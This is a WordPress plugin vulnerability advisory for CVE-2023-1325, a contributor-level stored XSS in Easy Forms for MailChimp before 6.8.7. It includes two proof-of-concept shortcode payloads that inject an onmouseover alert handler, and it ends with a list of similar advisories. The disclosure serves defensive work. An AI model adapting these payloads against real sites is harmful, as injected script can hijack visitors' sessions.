Easy Forms for MailChimp < 6.8.7 – Contributor+ Stored XSS | CVE 2023-1325 | Plugin Vulnerabilities

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

As a contributor, put the below shortcodes in a post, preview it and move the mouse over the generated subscribe form to trigger the XSS

[yikes-mailchimp-unsubscribe list='"onmouseover=alert(/XSS-list/)//']

[yikes-mailchimp-unsubscribe list='-1' email_placeholder='"onmouseover=alert(/XSS-email_placeholder/)//']

Affects Plugins

yikes-inc-easy-mailchimp-extender

Fixed in 6.8.7

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

5f37cbf3-2388-4582-876c-6a7b0943c2a7

Timeline

Publicly Published

2023-03-27 (about 2 years ago)

Added

2023-03-27 (about 2 years ago)

Last Updated

2023-03-27 (about 2 years ago)

Other

Published

Title

Published

2023-01-24

Title

Product Slider and Carousel with Category for WooCommerce < 2.8 - Contributor+ Stored XSS via Shortcode

Published

2024-02-23

Title

WP Event Manager < 3.1.42 - Reflected Cross-Site Scripting via plugin

Published

2025-01-16

Title

Mojo Under Construction <= 1.1.2 - Reflected Cross-Site Scripting

Published

2020-01-21

Title

Chatbot with IBM Watson < 0.8.21 - DOM Cross-Site Scripting (XSS)

Published

2021-09-06

Title

Modern Events Calendar Lite < 5.22.2 - Admin+ Stored Cross-Site Scripting